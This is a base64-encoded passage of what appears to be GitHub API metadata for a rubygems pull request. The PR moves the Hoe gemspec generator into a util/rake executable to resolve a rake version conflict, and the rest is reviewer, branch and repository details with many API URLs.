1bGUgdXBkYXRlIC0taW5pdFxyXG5UbyBvdmVycmlkZSB5b3VyIGRlZmF1bHQgcmFrZSB2ZXJzaW9uLCBydW46IGByYWtlIF94Lnkuel8gdGFza19uYW1lYDpcclxuR2VtOjpMb2FkRXJyb3I6IGNhbid0IGFjdGl2YXRlIHJha2UtMTAuNS4wLCBhbHJlYWR5IGFjdGl2YXRlZCByYWtlLTEyLjEuMFxyXG5gYGBcclxuXHJcblRvIGZpeCB0aGlzIGlzc3VlIGkgaGF2ZSBleHRyYWN0ZWQgb3V0IHRoZSBIb2UgZ2Vtc3BlYyBnZW5lcmF0b3IgdGhhdCBsaXZlZCBpbiB0aGUgYFJha2VmaWxlYCBhbmQgY3JlYXRlZCBhIHJ1YnkgZXhlY3V0YWJsZSBpbiB0aGUgYHV0aWxgIGRpcmVjdG9yeS4gVGhpcyBtZWFucyB0aGF0IGdvaW5nIGZvcndhcmQgZGV2ZWxvcGVycyB3b3VsZCBuZWVkIHRvIHJ1biByYWtlIHRhc2tzIGFzIGB1dGlsL3Jha2UgPHRhc2s+YCBpbnN0ZWFkIG9mIGp1c3QgYDxyYWtlPmAuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbeCBdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxyXG4tIFsgXSBXcml0ZSB0ZXN0c1xyXG4tIFsgXSBXcml0ZSBjb2RlIHRvIHNvbHZlIHRoZSBwcm9ibGVtXHJcbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiIsImNyZWF0ZWRfYXQiOiIyMDE3LTA4LTA1VDA2OjU0OjQ2WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTEyLTI2VDA4OjI4OjI5WiIsImNsb3NlZF9hdCI6bnVsbCwibWVyZ2VkX2F0IjpudWxsLCJtZXJnZV9jb21taXRfc2hhIjoiMjllYzI4Mzc0Y2NjMmE0YWVmNWMwMmEzMTlmNTJkOWMxZmY4MGVkNSIsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJyZXF1ZXN0ZWRfcmV2aWV3ZXJzIjpbeyJsb2dpbiI6ImhzYnQiLCJpZCI6MTIzMDEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEyMzAxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vaHNidCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX1dLCJtaWxlc3RvbmUiOm51bGwsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xOTgzL2NvbW1pdHMiLCJyZXZpZXdfY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8xOTgzL2NvbW1lbnRzIiwicmV2aWV3X2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy9jb21tZW50c3svbnVtYmVyfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE5ODMvY29tbWVudHMiLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzLzZlYzg5YTk2OTE4ZWNkMWZjNjZiMWM4ZjM0MDFmYjhlYjE3MGVkOGMiLCJoZWFkIjp7ImxhYmVsIjoiY29sYnktc3dhbmRhbGU6cmFrZS1iaW5maWxlcyIsInJlZiI6InJha2UtYmluZmlsZXMiLCJzaGEiOiI2ZWM4OWE5NjkxOGVjZDFmYzY2YjFjOGYzNDAxZmI4ZWIxNzBlZDhjIiwidXNlciI6eyJsb2dpbiI6ImNvbGJ5LXN3YW5kYWxlIiwiaWQiOjk5NjM3NywiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvOTk2Mzc3P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZSIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2NvbGJ5LXN3YW5kYWxlIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicmVwbyI6eyJpZCI6ODcxNTAxNzEsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6ImNvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJjb2xieS1zd2FuZGFsZSIsImlkIjo5OTYzNzcsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91Lzk5NjM3Nz92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jb2xieS1zd2FuZGFsZSIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2NvbGJ5LXN3YW5kYWxlL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9jb2xieS1zd2FuZGFsZS9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvY29sYnktc3dhbmRhbGUvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInByaXZhdGUiOmZhbHNlLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jb2xieS1zd2FuZGFsZS9ydWJ5Z2VtcyIsImRlc2NyaXB0aW9uIjoiTGlicmFyeSBwYWNrYWdpbmcgYW5kIGRpc3RyaWJ1dGlvbiBmb3IgUnVieS4iLCJmb3JrIjp0cnVlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9jb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvY29sYnktc3dhbmRhbGUvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxNy0wNC0wNFQwNToxMDoyOFoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wNC0wNFQwNToxMDozMVoiLCJwdXNoZWRfYXQiOiIyMDE3LTEyLTIwVDIwOjAyOjU1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL2NvbGJ5LXN3YW5kYWxlL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpjb2xieS1zd2FuZGFsZS9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vY29sYnktc3dhbmRhbGUvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9jb2xieS1zd2FuZGFsZS9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cDovL3J1YnlnZW1zLm9yZyIsInNpemUiOjEzODk1LCJzdGFyZ2F6ZXJzX2NvdW50IjowLCJ3YXRjaGVyc19jb3VudCI6MCwibGFuZ3VhZ2UiOiJSdWJ5IiwiaGFzX2lzc3VlcyI6ZmFsc2UsImhhc19wcm9qZWN0cyI6dHJ1ZSwiaGFzX2Rvd25sb2FkcyI6dHJ1ZSwiaGFzX3dpa2kiOmZhbHNlLCJoYXNfcGFnZXMiOmZhbHNlLCJmb3Jrc19jb3VudCI6MCwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MCwibGljZW5zZSI6bnVsbCwiZm9ya3MiOjAsIm9wZW5faXNzdWVzIjowLCJ3YXRjaGVycyI6MCwiZGVmYXVsdF9icmFuY2giOiJtYXN0ZXIifX0sImJhc2UiOnsibGFiZWwiOiJydWJ5Z2VtczptYXN0ZXIiLCJyZWYiOiJtYXN0ZXIiLCJzaGEiOiI2ODhmYjdlODNjMTNjM2ZlN2MyYmIwM2M0OWEyZGI0YzgyODUyYWVlIiwidXNlciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJyZXBvIjp7ImlkIjo2MTQwNzAsIm5hbWUiOiJydWJ5Z2VtcyIsImZ1bGxfbmFtZSI6InJ1YnlnZW1zL3J1YnlnZW1zIiwib3duZXIiOnsibG9naW4iOiJydWJ5Z2VtcyIsImlkIjoyMDg3NjEsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzIwODc2MT92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2VtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6Ik9yZ2FuaXphdGlvbiIsInNpdGVfYWRtaW4iOmZhbHNlfSwicHJpdmF0ZSI6ZmFsc2UsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiZGVzY3JpcHRpb24iOiJMaWJyYXJ5IHBhY2thZ2luZyBhbmQgZGlzdHJpYnV0aW9uIGZvciBSdWJ5LiIsImZvcmsiOmZhbHNlLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwiZm9ya3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9mb3JrcyIsImtleXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9rZXlzey9rZXlfaWR9IiwiY29sbGFib3JhdG9yc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbGxhYm9yYXRvcnN7L2NvbGxhYm9yYXRvcn0iLCJ0ZWFtc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RlYW1zIiwiaG9va3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ob29rcyIsImlzc3VlX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy9ldmVudHN7L251bWJlcn0iLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ldmVudHMiLCJhc3NpZ25lZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9hc3NpZ25lZXN7L3VzZXJ9IiwiYnJhbmNoZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9icmFuY2hlc3svYnJhbmNofSIsInRhZ3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViL